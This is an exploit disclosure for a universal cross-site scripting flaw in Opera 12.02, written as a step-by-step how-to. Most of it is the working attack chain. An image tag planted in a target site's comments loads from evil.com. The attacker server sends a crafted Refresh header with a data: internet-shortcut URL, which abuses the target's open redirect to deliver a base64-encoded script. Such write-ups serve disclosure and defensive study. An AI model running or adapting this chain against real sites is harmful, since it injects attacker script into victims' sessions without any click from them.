Opera 12.02 Cross Site Scripting

`# Exploit Title: Opera image/svg+xml UXSS  
# Date: 06.10.2012  
# Exploit Author: volema.com  
# Author homepage: http://blog.volema.com  
# Vendor Homepage: opera.com  
# Version: Opera 12.02  
# Tested on: Windows  
# CVE : NO  
  
[ Full disclosure - http://blog.volema.com/opera-svg-xml-shortcut-uxss.html ]  
  
We'll exploit the process of handling 'image/svg+xml' Content-Type with the Refresh server response header.  
Also we'll use recently-published 0-day Opera XSS vulnerability (which requires a victim to click the malicious link manually)  
  
All that present us UXSS exploit without any user interaction.  
  
HOW-TO:  
  
We should have the permissions to post any images to target site and there is also a script that allows us to yield any HTTP redirects.  
The victim visits http://target.com/blog/ where the malicious <img> is placed in the comment section.  
  
<img src="http://evil.com/evil.png" />  
  
When the browser tries to access 'evil.png', the malicious script responds with an exploit:  
  
Refresh: 0; url=data:application/internet-shortcut,%5BInternetShortcut%5D%0D%0AURL%3Dhttp%3A%2F%2Ftarget.com%2Fopenredirect%3Fparam%3Ddata%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3D%3D  
Content-Type: image/svg+xml;  
  
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" />  
  
Then Opera interprets internet shortcut from Refresh header data and redirects the victum to  
  
http://target.com/openredirect?param=data%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3d%3d  
  
This URL has an exploit for UXSS 0-day Opera vulnerability embedded in it.  
`